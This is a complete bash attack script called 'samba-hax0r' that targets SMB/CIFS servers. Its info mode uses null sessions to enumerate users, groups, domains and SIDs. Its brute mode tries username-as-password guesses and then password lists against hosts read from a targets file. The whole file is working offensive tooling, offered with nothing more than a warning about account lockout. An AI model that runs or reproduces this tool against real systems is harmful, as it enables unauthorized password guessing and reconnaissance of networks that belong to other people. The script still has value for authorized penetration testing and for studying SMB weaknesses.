#!/bin/bash # # $Id: samba-hax0r,v 1.3 2007/07/20 13:59:04 raptor Exp $ # # samba-hax0r v0.1 - Multi-purpose SMB/CIFS network attack tool # Copyright (c) 2005-2007 Marco Ivaldi # # Multi-purpose tool for SMB (Server Message Block) and CIFS (Common Internet # File System) network protocols exploitation. Two modes of operation are # currently available: info (Information Gathering) and brute (Brute Force). # # *** USE IT AT YOUR OWN RISK! BEWARE OF ACCOUNT LOCKING POLICIES! *** # # Based on: # - Samba v3.0.25 suite's smbclient (http://www.samba.org/) # - Samba-TNG v0.4.99 suite's rpcclient (http://www.samba-tng.org/) # # TODO (v0.2): # - extensive testing on multiple platforms/environments # - info mode: enumerate other kind of information (see rpcclient)? # - brute mode: use rpcclient instead of smbclient? # - brute mode: implement support for passphrases? # ####################### Edit the following parameters ####################### # External programs SMBCLIENT="/usr/bin/smbclient" # samba.org RPCCLIENT="/usr/local/samba/bin/rpcclient" # samba-tng.org # Default range for SID scan BEGIN=500 END=600 # 0 scans all ####################### Function declarations go here ####################### # Print header information function header() { echo "" echo "samba-hax0r v0.1 - Multi-purpose SMB/CIFS network attack tool" echo "Copyright (c) 2005-2007 Marco Ivaldi " echo "" } # Clean-up and exit function footer() { echo "" exit 0 } # Print script usage (main) function usage() { echo "./samba-hax0r -m [-h |-f ] [options]" echo "" echo "-m info : enter info gathering mode" echo "-m brute : enter brute force mode" echo "-h host : target hostname or IP address" echo "-f file : file contaning a list of targets" echo "options : see info|brute help" footer } # Print script usage (mode: info) function usage_info() { echo "./samba-hax0r -m info -t [-a ] [-s -e ]" echo "" echo "-t users : try to enumerate all users via SAM enum" echo "-t users+ : also, try scanning of SIDs if needed" echo "-t groups : try to enumerate all groups via SAM enum" echo "-t groups+ : also, try scanning of SIDs if needed" echo "-t domains : try to enumerate all domains via SAM enum" echo "-t sids : perform a SID scan only (time consuming)" echo "-t userinfo : get information on the specified user (see -a)" echo "-t groupmem : get members of the specified group (see -a)" echo "-a arg : required argument for groupmem/userinfo targets" echo "-s startsid : specify the start SID for scan (default=$BEGIN)" echo "-e endsid : specify the end SID for scan (default=$END)" footer } # Print script usage (mode: brute) function usage_brute() { echo "./samba-hax0r -m brute -u [-p ]" echo "" echo "-u userfile : get users list from file" echo "-p passfile : get passwords list from file" footer } # Green colored output function green() { echo -e "\033[01;32m$@\033[00m" } # Yellow colored output (UNUSED) function yellow() { echo -e "\033[01;33m$@\033[00m" } # Red colored output (UNUSED) function red() { echo -e "\033[01;31m$@\033[00m" } # Enumerate SMB/CIFS objects via NULL session (SAM enum + SID scan) function enum() { i=0 # Scan a list of hosts for host in $list do i=`expr $i + 1` domain=`$RPCCLIENT -S $host -U '%' -c lsaquery | grep "Domain Con" | cut -d ':' -f 2 | cut -d ' ' -f 2` sid=`$RPCCLIENT -S $host -U '%' -c lsaquery | grep "Domain Con" | cut -d ':' -f 3 | cut -d ' ' -f 2` # Check whether there's an error if [ "$sid" == "" ]; then continue fi # Output header echo "--------------------------------" echo "Host: $host" echo "Domain: $domain" echo "SID: $sid" echo "" # Try to enumerate all objects via SAM enum $RPCCLIENT -S $host -U '%' -c "$cmd" | grep -Ev "OpenConfFile|such file|config file|^Server|^Connection|^SAM |^Exit Status|^From:" | sed -e "s/^\t//" | grep -v FAILED # Did it work? if [ $? -eq 0 ]; then continue fi echo "SAM enumeration failed." # Perform SID scan if [ $depth -ge 1 ]; then sidscan fi done echo "--------------------------------" echo "$i host(s) scanned." } # Enumerate SMB/CIFS objects via NULL session (SID scan only) function enumsids() { i=0 # Scan a list of hosts for host in $list do i=`expr $i + 1` domain=`$RPCCLIENT -S $host -U '%' -c lsaquery | grep "Domain Con" | cut -d ':' -f 2 | cut -d ' ' -f 2` sid=`$RPCCLIENT -S $host -U '%' -c lsaquery | grep "Domain Con" | cut -d ':' -f 3 | cut -d ' ' -f 2` # Check whether there's an error if [ "$sid" == "" ]; then continue fi # Output header echo "--------------------------------" echo "Host: $host" echo "Domain: $domain" echo "SID: $sid" echo "" # Perform SID scan sidscan done echo "--------------------------------" echo "$i host(s) scanned." } # General purpose SID scanner function sidscan() { begin=$BEGIN end=$END echo "Trying to scan SIDs (range: $begin-$end)..." echo "" while : do $RPCCLIENT -S $host -U '%' -c "lookupsids $sid-$begin" | grep -e 'SID:' | sed -e "s/$sid-//" | grep -v '(null) (8: UNKNOWN)' if [ $begin -eq $end ]; then break else begin=`expr $begin + 1` fi done } # Generic SMB/CIFS password bruteforcer function brute() { i=0 # Scan a list of hosts for host in $list do # Try password= echo "$host" for user in `cat $ufile` do $SMBCLIENT -L $host -U "$user%$user" 1>/dev/null 2>/dev/null # Check smbclient return value if [ $? -eq 0 ]; then i=`expr $i + 1` green "\t$user:$user" continue else echo -e "\t$user:$user" fi # Check if full bruteforce is enabled if [ $fullbrute -eq 0 ]; then continue fi # Perform the full bruteforce attack for pass in `cat $pfile` do $SMBCLIENT -L $host -U "$user%$pass" 1>/dev/null 2>/dev/null # Check smbclient return value if [ $? -eq 0 ]; then i=`expr $i + 1` green "\t$user:$pass" break else echo -e "\t$user:$pass" fi done done done echo "--------------------------------" echo "$i account(s) found." } ####################### The attack script starts here ####################### header # Parse command line while [ ! -z "$1" ]; do case $1 in -m) shift; mode="$1"; shift;; -t) shift; target="$1"; shift;; -a) shift; arg="$1"; shift;; -h) shift; host="$1"; shift;; -f) shift; hfile="$1"; shift;; -s) shift; BEGIN="$1"; shift;; -e) shift; END="$1"; shift;; -u) shift; ufile="$1"; shift;; -p) shift; pfile="$1"; shift;; * ) usage ;; esac done # Switch between single and multiple hosts if [ ! -z $hfile ]; then list=`cat $hfile 2>/dev/null` if [ "$list" = "" ]; then echo "error: corrupted targets file?" footer fi elif [ ! -z $host ]; then list=$host else usage fi # Switch mode of operation case $mode in # Information Gathering Mode "info") case $target in "users" ) depth=0; cmd="enumusers";; "users+" ) depth=1; cmd="enumusers";; "groups" ) depth=0; cmd="enumgroups";; "groups+" ) depth=1; cmd="enumgroups";; "domains" ) depth=0; cmd="enumdomains";; "sids" ) enumsids; footer;; "userinfo" ) depth=0 if [ -z "$arg" ]; then usage_info fi cmd="samuser \"$arg\"";; "groupmem" ) depth=0 if [ -z "$arg" ]; then usage_info fi cmd="samgroupmem \"$arg\"";; * ) usage_info;; esac enum ;; # Brute Force Mode "brute") if [ ! -z "$ufile" ]; then if [ "`cat $ufile 2>/dev/null`" = "" ]; then echo "error: corrupted username file?" footer fi if [ ! -z "$pfile" ]; then # Get password list from a file fullbrute=1 if [ "`cat $pfile 2>/dev/null`" = "" ]; then echo "error: corrupted password file?" footer fi brute else # Test only password= fullbrute=0 brute fi else usage_brute fi ;; # Default *) usage ;; esac footer